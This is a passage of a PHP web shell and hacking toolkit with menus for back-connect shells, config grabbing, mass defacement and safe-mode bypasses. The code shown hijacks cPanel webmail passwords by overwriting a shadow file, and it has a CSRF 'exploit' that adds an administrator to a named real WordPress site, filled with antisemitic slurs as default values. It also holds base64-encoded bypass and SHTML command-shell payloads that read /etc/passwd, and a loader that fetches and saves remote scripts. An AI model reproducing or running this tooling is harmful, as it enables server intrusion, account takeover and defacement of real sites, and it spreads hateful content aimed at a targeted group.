<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>';
echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'> Webmail Pass Changer</span><br><br>
<center><form method='POST'>
<h4>Change Password webmail</h4><h4>
User : <input type='text' name='user' size='40' /><br />
Path : <input type='text' name='path' size='40'  /><br /><br /></h4>
<input type='submit' name='start' value='Change Password' />
</form></center>";
@error_reporting();
/*
@NetDevr
*/
if($_POST['start'])
{
$user = $_POST['user'];
$path = @chdir($_POST['path']);
$pass = "lov3rdns";
$lov3r = base64_decode('JGFwcjEkdkNJWmRBXzEkRWhzcEhSWUZ4R24wcTBiZzRVeS9VLg==');
$array = @array('$user','$lov3r');
$imp = @implode(':',$array);
$dns = @file_put_contents('shadow',$imp);
if($dns)
{
echo '<h4><center>Password is <font color="red">'.$pass.'</font> .. <br />
Email is <font color="red">'.$user.'@'.$_SERVER['SERVER_NAME'].'</font><br />
Panel is <font color="red">http://webmail.'.$_SERVER['SERVER_NAME'].'</font>
Or <font color="red">http://'.$_SERVER['SERVER_NAME'].':2096</font><br />
<font color="blue">./x3</font></h4></center>';
}else
{
  echo '<h4><center>File Not Found</h4></center>';
}
 
}
echo'
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<center>
<b># Discovery : r0kin</b><br />
<b># Coder     : Lov3rDns</b>
</center>';
}
if(isset($_GET['action']) && $_GET['action'] == 'wpcdrfex'){
echo '<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>';
echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Wordpress 0day CSRF All Versions</span><br>Coded By Mauritania Attacker<br></center>";
echo "<center><img border='0' src='http://www13.0zz0.com/2014/08/23/17/367667552.png'></center><br>
<input type='hidden' name='action' value='createuser'/>
<input type='hidden' name='_wpnonce_create-user' value='code'/>
<input type='hidden' name='_wp_http_referer' value='/wp-admin/user-new.php'/>
<center><input type='text' size='38' face='tahoma' name='victim' value='http://www.liguedefensejuive.com'/><font color='#00bb00'> Target Website</center></font><br>
<center><input type='text' size='30' face='tahoma' name='user_login' value='yehudikalb'/> Choose Username To Add</center><br>
<input type='hidden' name='email' value='[email protected]'/>
<input type='hidden' name='first_name' value='kalb'/>
<input type='hidden' name='last_name' value='yehudi'/>
<input type='hidden' name='url' value='http://google.co.il'/>
<center><input type='text' size='30' face='tahoma' name='pass1' value='lolo133*'/> Choose Password To Add</center><br>
<center><input type='text' size='30' face='tahoma' name='pass2' value='lolo133*'/> Confirm Password To Add</center></p><br>
<input type='hidden' name='role' value='administrator'/>
<input type='hidden' name='createuser' value='Add+New+User+'/>
<center><textarea class='area' cols='43' rows='6' id='ghost' name='code'></textarea><br><br></center> 
<p><center><input type='submit' value='Inject wpnonce Token' name='scan'><br><br></center></p>
</form>";

if(isset($_POST)  && !empty($_POST)){

$victim = $_POST['victim'];
$user_login = $_POST['user_login'];
$pass1 = $_POST['pass1'];
$pass2 = $_POST['pass2'];
$curl="http://www.liguedefensejuive.com/wp-admin/user-new.php";
$_wpnonce_create = explode("
",$_POST['_wpnonce_create-user']);



$user = explode("
", $_POST['code']); 
    if($_POST['scan']) 
{ 
    foreach($_wpnonce_create as $code) 
    {
    
 
function brute($code) {
global $victim,$user_login,$pass1,$pass2,$ch,$curl;

$ch = curl_init(); 
curl_setopt($ch,CURLOPT_URL,"$victim/wp-admin/user-new.php");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/35.0.1916.114"); 
curl_setopt($ch,CURLOPT_POSTFIELDS,"user=$user_login&passi=$pass1&passii=$pass2&_wpnonce_create=code=&redirect_to=.$victim./author/$user_login");

$check = curl_exec($ch);
if(eregi('$user_login',$check)) {
			echo "<p><font face='Verdana' size='1'>[+] Username Has Been Successfully Added  : <font color='#008000'>$user_login = $victim</font></p>";
		}
		
		else 
            { 
                echo "<font face='Tahoma' size='2' color='red'> => Incorrect Code Trying More...</font><br>"; 
            } 
			}

	foreach($user_login as $user) {
	foreach($pass1 as $passi) {
	foreach($pass2 as $passii) {
	brute($code);
		} } } 


curl_close($ch); 
} 
} }
}
if(isset($_GET['action']) && $_GET['action'] == 'rootshelleexecbpass'){
echo '<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>';

echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Root Path With shell_exec Function</span><center><br>';
mkdir('shellexcexce', 0755);
chdir('shellexcexce');
$shellexcexce = 'PGhlYWQ+DQo8dGl0bGU+QnlwYXNzIEJ5cGFzcyBSb290IFBhdGggYnkgTWF1cml0YW5pYSBBdHRhY2tlcjwvdGl0bGU+DQo8L2hlYWQ+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vd3d3Lmljb25qLmNvbS9pY28vYy91L2N1MWJtcGdiMWsuaWNvIiB0eXBlPSJpbWFnZS94LWljb24iIC8+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPjwhLS0gYm9keSB7YmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7IGZvbnQtZmFtaWx5OkNvdXJpZXIJbWFyZ2luLWxlZnQ6IDBweDsgbWFyZ2luLXRvcDogMHB4OyB0ZXh0LWFsaWduOiBjZW50ZXI7IE5ldztmb250LXNpemU6MTJweDtjb2xvcjojMDA4ODAwO2ZvbnQtd2VpZ2h0OjQwMDt9IGF7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fSBhOmxpbmsge2NvbG9yOiMwMDk5MDA7fSBhOnZpc2l0ZWQge2NvbG9yOiMwMDg4MDA7fSBhOmhvdmVye2NvbG9yOiMwMGJiMDA7fSBhOmFjdGl2ZSB7Y29sb3I6IzAwOTkwMDt9IC0tPjwhLS0gTWFkZSBCeSBNYXVyaXRhbmlhIEF0dGFja2VyIC0tPg0KPC9zdHlsZT48YnI+PGJyPjxib2R5IGJnQ29sb3I9IjAwMDAwMCI+PHRyPjx0ZD48P3BocCBlY2hvICI8Zm9ybSBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJz4iIDsgDQplY2hvICI8Y2VudGVyPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdCeXBhc3MgaXQnIG5hbWU9J3NoZWxsX2V4ZWNlcic+PC9jZW50ZXI+IjsgDQppZiAoaXNzZXQoJF9QT1NUWydzaGVsbF9leGVjZXInXSkpeyBzaGVsbF9leGVjKCdsbiAtcyAvIHJvb3Qtc2hlbGxfZXhlYy50eHQnKTsgDQokZnZja2VtID0nVDNCMGFXOXVjeUJKYm1SbGVHVnpJRVp2Ykd4dmQxTjViVXhwYm10ekRRcEVhWEpsWTNSdmNubEpibVJsZUNCemMzTnpjM011YUhSdERRcEJaR1JVZVhCbElIUjRkQ0F1Y0dod0RRcEJaR1JJWVc1a2JHVnlJSFI0ZENBdWNHaHcnOyANCiRmaWxlID0gZm9wZW4oIi5odGFjY2VzcyIsIncrIik7ICR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGZ2Y2tlbSkpOyAkc2hlbGxfZXhlY2VyID0gc3ltbGluaygiLyIsInJvb3Qtc2hlbGxfZXhlYy50eHQiKTsgDQokcnQ9Ijxicj48YSBocmVmPXJvb3Qtc2hlbGxfZXhlYy50eHQgVEFSR0VUPSdfYmxhbmsnPjxmb250IGNvbG9yPSMwMGJiMDAgc2l6ZT0yIGZhY2U9J0NvdXJpZXIgTmV3Jz48Yj5CeXBhc3NlZCBTdWNjZXNzZnVsbHk8L2I+PC9mb250PjwvYT4iOyANCmVjaG8gIjxicj48YnI+PGI+RG9uZS4uICE8L2I+PGJyPjxicj5DaGVjayBsaW5rIGdpdmVuIGJlbG93IGZvciAvIGZvbGRlciBzeW1saW5rIDxicj4kcnQ8L2NlbnRlcj4iO30gZWNobyAiPC9mb3JtPiI7ICA/PjwvdGQ+PC90cj48L2JvZHk+PC9odG1sPg==';

$file = fopen("shellexcexce.php" ,"w+");
$write = fwrite ($file ,base64_decode($shellexcexce));
fclose($file);
chmod("shellexcexce.php",0755);
echo "<iframe src=shellexcexce/shellexcexce.php width=60% height=60% frameborder=0></iframe>";
}
if(isset($_GET['action']) && $_GET['action'] == 'subdomainchkrezes'){
echo '<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Subdomain Checker</span><center><br>';
echo'<html><body><center></br>
<form method="post">
<input type="text" name="site" size="30" placeholder="Example.com">
<input type="submit" value="Bypass">
</form>
</font>';


set_time_limit(0);
$subs = array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","lan","phpmyadmin","administrator","mape","isp","shop","rex","podcast","potraga","sensation","igre","foo","api","access","ulaz","pam","sport","pretraga","pricaonica","kuvar","raketa","wwwmobile","s1","s2","foro","s3","box","open","abc","phpbb3","phpbb2","internet","phpbb","whm","mysql","webadmin","adm","admin","admins","agent","aix","recnik","alerts","av","antivirus","app","apps","appserver","archive","as400","auto","backup","banking","bbdd","bbs","bea","beta","blog","catalog","cgi","channel","channels","chat","cisco","client","clients","club","cluster","clusters","code","commerce","community","compaq","conole","consumer","contact","contracts","corporate","ceo","cso","cust","customer","cpanel","data","bd","db2","default","demo","cms","design","desktop","dev","develop","developer","device","dial","digital","dir","directory","disc","discovery","disk","dns","dns1","dns2","dns3","docs","poslovi","prijemni","znanje","mojtim","documents","domain","domains","dominoweb","download","downloads","ecommerce","e-commerce","edi","edu","education","email","enable","engine","engineer","enterprise","slike","galerija","error","event","events","example","exchange","extern","external","extranet","fax","field","finance","firewall","forum","forums","fsp","ftp","ftp2","fw","fw1","gallery","galleries","games","gateway","gopher","guest","gw","hello","helloworld","help","helpdesk","arkiva","lajme","faqe","helponline","hp","ibm","ibmdb","ids","ILMI","film","navigator","nalog","prodavnica","zdravlje","reklamiranje","zivot","images","imap","pomoc","imap4","img","imgs","info","intern","internal","intranet","invalid","iphone","ipsec","irc","ircserver","jobs","ldap","link","linux","lists","listserver","local","localhost","log","logs","login","lotus","mail","mailboxes","mailhost","result","management","manage","manager","map","maps","marketing","device","media","member","members","messenger","mngt","mobile","monitor","multimedia","music","my","names","lojra","albania","bisedo","puka","foto","emra","njohje","vip","egea-tirana","historia","forumi","vesti","administracija","net","new1","new","perkohesisht","netdata","netstats","network","news","nms","nntp","ns","ns1","ns2","ns3","ntp","online","openview","oracle","outlook","page","pages","partner","partners","pda","personal","ph","pictures","pix","pop","pop3","portal","press","print","printer","private","project","projects","proxy","public","ra","radio","raptor","ras","read","register","remote","report","reports","root","router","lister","rwhois","sac","schedules","scotty","search","secret","secure","security","seri","serv","serv2","server","service","services","shop","shopping","site","sms","smtp","smtphost","snmp","snmpd","snort","solaris","1","2","3","4","5","6","7","8","9","0","solutions","support","source","sql","ssl","stats","store","stream","streaming","sun","support","switch","sysback","system","tech","terminal","test","testing","testing123","time","tivoli","training","transfers","uddi","update","upload","uploads","video","vpn","w1","w2","w3","wais","wap","web","webdocs","weblib","weblogic","webmail","webserver","webservices","websphere","whois","wireless","work","world","write","ws","ws1","ws2","ws3","www1","www2","www3","www4","www5","www6","www7","www8","www9","drupal","wordpress","joomla","db","database","love");
if($_POST){
$url = $_POST["site"];
foreach($subs as $sub){
if(!eregi($url, gethostbyname($sub.".".$url))){
echo '<font face="Baskerville Old Face" color="red">[+] '.$sub.".".$url.' : </font><font color="green">'.gethostbyname($sub.".".$url).'</font></br>';
}else{
echo '<font face="Baskerville Old Face" color="red">[+] '.$sub.".".$url.' : Nothing Found</font></br>';
}
}
}
}
echo'</body></html>';
if(isset($_GET['action']) && $_GET['action'] == 'wpidxcngrdesr'){
echo '<center><b class="conte">
<a href="?action=mass">Mass Deface Dirs</a> -
<a href="?action=joomla">Mass Change Admin Joomla</a> -
<a href="?action=vb">Mass Change Admin vBulletin</a> -
<a href="?action=wp">Mass Change Admin WordPress</a> -
<a href="?action=wpandjmlamassdfce">Wordpress & Joomla Mass Deface</a> -
<a href="?action=wrdprshtmlinj">Wordpress Index Hijack Priv8</a> -
<a href="?action=joommlallainxc">Joomla Index Changer</a> -
<a href="?action=wpidxcngrdesr">Wordpress Index Changer</a> -
<a href="?action=cpnlndftpotdfr">Cpanel & Ftp Auto Defacer</a> </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Generate Wordpress Index Changer</span></font></center><br>';
error_reporting(0);
echo "<form method='POST'><p align='center'> 
<img border='0' src='http://blog.numericube.com/wp-content/uploads/2010/06/wordpress-logo-notext-bg.png'></p>
<center><font color='#777777' size='2' face='shell'>Cwd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><input type='text' size='40' name='zero' value=".dirname(__FILE__)." <font color='green' size='8' face='Tahoma'></font></center>
<center><font color='#777777' size='2' face='shell'>Script&nbsp;&nbsp;&nbsp;</font><input type='text' size='40' name='shell' value='http://pastebin.com/raw.php?i=6kFhLVkS' <font color='green' size='8' face='Tahoma'></font></center><br>
<p><center><input type='submit' value='&nbsp;&nbsp;Generate Now&nbsp;&nbsp;' name='start'> <font color=red' face='Tahoma, Geneva, sans-serif' style='font-size: 12pt'><br></font></center></p><br>";
echo "<p><center><textarea class='area' rows='12' cols='60'>Results Will Appear Here ^_^ 
";
if($_POST['start']) {
$zero = $_POST['zero'];
$file = $_POST['shell'];

$dir = "Wordpress"; 
if(file_exists($dir)) {
echo "[+] Wordpress Folder Already Exist are you drunk :o xD !
";
} else {
@mkdir($dir); {
echo "[+] Wordpress Folder Has Been Created Nygga :3 !
";
} 
}
#Generate Wordpress Script
$fopen = fopen("Wordpress/Wordpress.php",'w');
$shell = @file_get_contents($file);
$swrite = fwrite($fopen ,$shell);
if($swrite){
echo "Wordpress Script Has Been Downloaded : $zero/Wordpress/Wordpress.php 
";

} else {
echo "Can't Download Script :( do it manually :D 
";
}
fclose($fopen);
}

echo "</textarea></center></p><pre></pre>";
$rt="<br><a href=Wordpress/Wordpress.php TARGET='_blank'><font color=red size=2 face='Courier New'><b>
Link</b></font></a>"; 
echo "<center><br><font color='#007700' size='2pt'>Click on Button Generate Now and Check link given below for Wordpress Script</font><br>$rt</center>";
echo '<p><center><font color="#007700" size="3pt">Generator Coded by Mauritania Attacker</font></center><br></p>';
}

if(isset($_GET['action']) && $_GET['action'] == 'shhhshell'){
echo '<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>';

//extract shtml shell
$ROFL = 'PCEtLSNjb25maWcgZXJybXNnPSJbRXJyb3IsIE1heWJlIGNhdXNlIG9mIHRoZSBzZWN1cml0eSBvZiB0aGUgc2VydmVyIDooXSItLT4gIA0KPCEtLSNjb25maWcgc2l6ZWZtdD0iYnl0ZXMiLS0+ICANCg0KPCEtLSNpZiBleHByPSIoXCIkSFRUUF9DT09LSUVcIiA9IFwiXCIpIHx8IChcIiRSRVFVRVNUX01FVEhPRFwiICE9IFwiR0VUXCIpIiAtLT4gIA0KICAgIDwhLS0jc2V0IHZhcj0ic2hsIiB2YWx1ZT0ibHMgLWFsIiAtLT4gIA0KPCEtLSNlbHNlIC0tPiAgDQogICAgPCEtLSNzZXQgdmFyPSJzaGwiIHZhbHVlPSRIVFRQX0NPT0tJRSAtLT4gIA0KPCEtLSNlbmRpZiAtLT4gIA0KDQo8IS0tI2lmIGV4cHI9IihcIiRIVFRQX0NPT0tJRVwiID0gXCJcIikgfHwgKFwiJFJFUVVFU1RfTUVUSE9EXCIgIT0gXCJQT1NUXCIpIiAtLT4gIA0KICAgIDwhLS0jc2V0IHZhcj0iaW5jIiB2YWx1ZT0iLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wYXNzd2QiIC0tPiAgDQo8IS0tI2Vsc2UgLS0+ICANCiAgICA8IS0tI3NldCB2YXI9ImluYyIgdmFsdWU9JEhUVFBfQ09PS0lFIC0tPiAgDQo8IS0tI2VuZGlmIC0tPiAgDQo8aHRtbD4gDQo8aGVhZD4gDQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyI+IA0KPG1ldGEgY2hhcnNldD0iVVRGLTgiLz4gDQo8dGl0bGU+U2h0bWwgQ2dpIFNoZWxsPC90aXRsZT4gDQo8c3R5bGU+IA0KPCEtLSANCmJvZHkgICAgICAgICB7IGZvbnQtZmFtaWx5OiBzaGVsbDsgZm9udC1zaXplOiA4cHQgfSANCi0tPiANCmJvZHkge2ZvbnQtZmFtaWx5OiBzaGVsbDsgZm9udC1zaXplOiA5cHQ7YmFja2dyb3VuZC1jb2xvcjojMjIyMjIyO2NvbG9yOiMwMDk5MDA7dGV4dC1zaGFkb3c6MHB4IDBweCAxcHggYmxhY2s7fSANCmEge2ZvbnQtc2l6ZToxNXB4O2NvbG9yOiMwMDk5MDA7fSANCi5hcmVhIHsgY29sb3I6ICMwMGJiMDA7IGZvbnQtc2l6ZTogOXB0OyB0ZXh0LXNoYWRvdzojMDAwMDAwIDBweCAycHggN3B4OyBib3JkZXI6IHNvbGlkIDBweCAjMDA3NzAwOyBiYWNrZ3JvdW5kLWNvbG9yOnRyYW5zcGFyZW50OyBib3gtc2hhZG93OiAwcHggMHB4IDRweCAjMDA5OTAwOyAgICBwYWRkaW5nOiAzcHg7ICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA0cHg7ICAgLW1vei1ib3JkZXItcmFkaXVzOiA0cHg7ICAgYm9yZGVyLXJhZGl1czogNHB4OyAgIC13ZWJraXQtYm94LXNoYWRvdzogcmdiKDAsMTE5LDApIDBweCAwcHggNHB4OyAgIC1tb3otYm94LXNoYWRvdzogcmdiKDAsMTE5LDApIDBweCAwcHggNHB4OyB9DQppbnB1dFt0eXBlPXN1Ym1pdF17IHBhZGRpbmc6IDNweDsgY29sb3I6ICMwMDc3MDsgIGZvbnQtd2VpZ2h0OiBib2xkOyB0ZXh0LWFsaWduOiBjZW50ZXI7ICB0ZXh0LXNoYWRvdzogMCAxcHggcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjMpOyAgYmFja2dyb3VuZDogI2FlYWVhZTsgIGJhY2tncm91bmQtY2xpcDogcGFkZGluZy1ib3g7ICBib3JkZXI6IDFweCBzb2xpZCAjMjg0NDczOyAgYm9yZGVyLWJvdHRvbS1jb2xvcjogIzIyM2I2NjsgIGJvcmRlci1yYWRpdXM6IDRweDsgIGN1cnNvcjogcG9pbnRlcjsgIGJhY2tncm91bmQtaW1hZ2U6LXdlYmtpdC1saW5lYXItZ3JhZGllbnQodG9wLCAjZWFlYWVhLCAjZDBkMGQwKTsgIGJhY2tncm91bmQtaW1hZ2U6IC1tb3otbGluZWFyLWdyYWRpZW50KHRvcCwgI2VhZWFlYSwgI2QwZDBkMCk7ICBiYWNrZ3JvdW5kLWltYWdlOiAtby1saW5lYXItZ3JhZGllbnQodG9wLCAjZWFlYWVhLCAjZDBkMGQwKTsgIGJhY2tncm91bmQtaW1hZ2U6IGxpbmVhci1ncmFkaWVudCh0byBib3R0b20sICNlYWVhZWEsICNkMGQwZDApOyAgLXdlYmtpdC1ib3gtc2hhZG93OiBpbnNldCAwIDFweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNSksIGluc2V0IDAgMCA3cHggcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjQpLCAwIDFweCAxcHggcmdiYSgwLCAwLCAwLCAwLjE1KTsgIGJveC1zaGFkb3c6IGluc2V0IDAgMXB4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC41KSwgaW5zZXQgMCAwIDdweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNCksIDAgMXB4IDFweCByZ2JhKDAsIDAsIDAsIDAuMTUpOyB9DQppbnB1dFt0eXBlPXRleHRdeyBwYWRkaW5nOiAzcHg7IGNvbG9yOiAjMDA5OTAwOyB0ZXh0LXNoYWRvdzogIzc3Nzc3NyAwcHggMHB4IDNweDsgYm9yZGVyOiAxcHggc29saWQgIzAwNzcwMDsgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7IGJveC1zaGFkb3c6IDBweCAwcHggNHB4ICMwMDc3MDA7ICAgIHBhZGRpbmc6IDNweDsgICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDRweDsNCiAgIC1tb3otYm9yZGVyLXJhZGl1czogNHB4OyAgIGJvcmRlci1yYWRpdXM6IDRweDsgICAtd2Via2l0LWJveC1zaGFkb3c6IHJnYig4NSw4NSw4NSkgMHB4IDBweCA0cHg7ICAgLW1vei1ib3gtc2hhZG93OiByZ2IoODUsODUsODUpIDBweCAwcHggNHB4O30NCmlucHV0W3R5cGU9c3VibWl0XTpob3ZlciwgaW5wdXRbdHlwZT10ZXh0XTpob3ZlcnsgY29sb3I6ICNmZmZmZmY7IHRleHQtc2hhZG93OiAjMDA2NjAwIDBweCAwcHggNHB4OyBib3gtc2hhZG93OiAwcHggMHB4IDRweCAjMDBkZDAwOyBib3JkZXI6IDFweCBzb2xpZCAjMDBkZDAwOyAgICBwYWRkaW5nOiAzcHg7ICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA0cHg7DQogICAtbW96LWJvcmRlci1yYWRpdXM6IDRweDsgICBib3JkZXItcmFkaXVzOiA0cHg7ICAgLXdlYmtpdC1ib3gtc2hhZG93OiByZ2JhKDAsMTE5LDApIDBweCAwcHggNHB4OyAgIC1tb3otYm94LXNoYWRvdzogcmdiYSgwLDExOSwwKSAwcHggMHB4IDRweDt9DQo8L3N0eWxlPiANCjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPiAgDQpmdW5jdGlvbiBkb2l0KCBtb2RlICkgeyAgDQogICAgaWYoIGRvY3VtZW50LmNvb2tpZSAhPSAiIiApIHsgIA0KICAgICAgICB2YXIgY29va2llcyA9IGRvY3VtZW50LmNvb2tpZS5zcGxpdCggIjsiICk7ICANCiAgICAgICAgZm9yKCB2YXIgaSA9IDA7IGkgPCBjb29raWVzLmxlbmd0aDsgKytpICkgICANCiAgICAgICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IGNvb2tpZXNbIGkgXSArICI7ZXhwaXJlcz1UaHUsIDAxIEphbiAxOTcwIDAwOjAwOjAwIEdNVCI7ICANCiAgICB9ICANCiAgICBkb2N1bWVudC5jb29raWUgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCggbW9kZSApLnZhbHVlOyAgDQogICAgZG9jdW1lbnQubG9jYXRpb24ucmVsb2FkKCk7ICANCn0gIA0KZnVuY3Rpb24gdG9nZ2xlKCBpZCApIHsgIA0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCBpZCApLnN0eWxlLmRpc3BsYXkgPSAoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIGlkICkuc3R5bGUuZGlzcGxheSA9PSAibm9uZSIpID8gImJsb2NrIiA6ICJub25lIjsgIA0KfSAgDQo8L3NjcmlwdD4gIA0KPC9oZWFkPiANCjxib2R5PiANCjxkaXYgYWxpZ249ImNlbnRlciI+IA0KICAgIDx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBpZD0idGFibGUxIiBzdHlsZT0iYm9yZGVyOiAxcHggZG90dGVkICMwMDc3MDAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCIgaGVpZ2h0PSI1MDIiPiANCiAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBzdHlsZT0iYm9yZGVyOiAxcHggZG90dGVkICMwMDc3MDAiIHZhbGlnbj0idG9wIiByb3dzcGFuPSIyIj4gDQogICAgICAgICAgICAgICAgPHAgYWxpZ249ImNlbnRlciI+PGI+IA0KICAgICAgICAgICAgICAgIDxmb250IGZhY2U9InNoZWxsIiBzaXplPSIyIj48YnI+IA0KICAgICAgICAgICAgICAgIDwvZm9udD4gDQogICAgICAgICAgICAgICAgPGZvbnQgY29sb3I9IiNlNmU2ZTYiIGZhY2U9InNoZWxsIiBzaXplPSIyIj4gDQogICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogbm9uZSI+IA0KICAgICAgICAgICAgICAgIDxmb250IGNvbG9yPSIjMDBiYjAwIj4gDQogICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogbm9uZSI+PGZvbnQgb25jbGljaz0idG9nZ2xlKCdpbmYnKTsiIHN0eWxlPSJjdXJzb3I6aGFuZDsiIGNvbG9yPSIjMDA5OTAwIj5TZXJ2ZXIgRGV0YWlsczwvZm9udD48L3NwYW4+PC9mb250Pjwvc3Bhbj48L2ZvbnQ+PC9iPjwvcD4gDQogICAgICAgICAgICAgICAgPHAgYWxpZ249ImNlbnRlciI+PGI+IA0KICAgICAgICAgICAgICAgIDxmb250IG9uY2xpY2s9InRvZ2dsZSgnc2hsJyk7IiBzdHlsZT0iY3Vyc29yOmhhbmQ7IiBmYWNlPSJzaGVsbCIgc2l6ZT0iMiIgY29sb3I9IiMwMDk5MDAiPiANCiAgICAgICAgICAgICAgICA8c3BhbiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiBub25lIj5Db21tYW5kPC9zcGFuPjwvZm9udD48L2I+PC9wPiANCiAgICAgICAg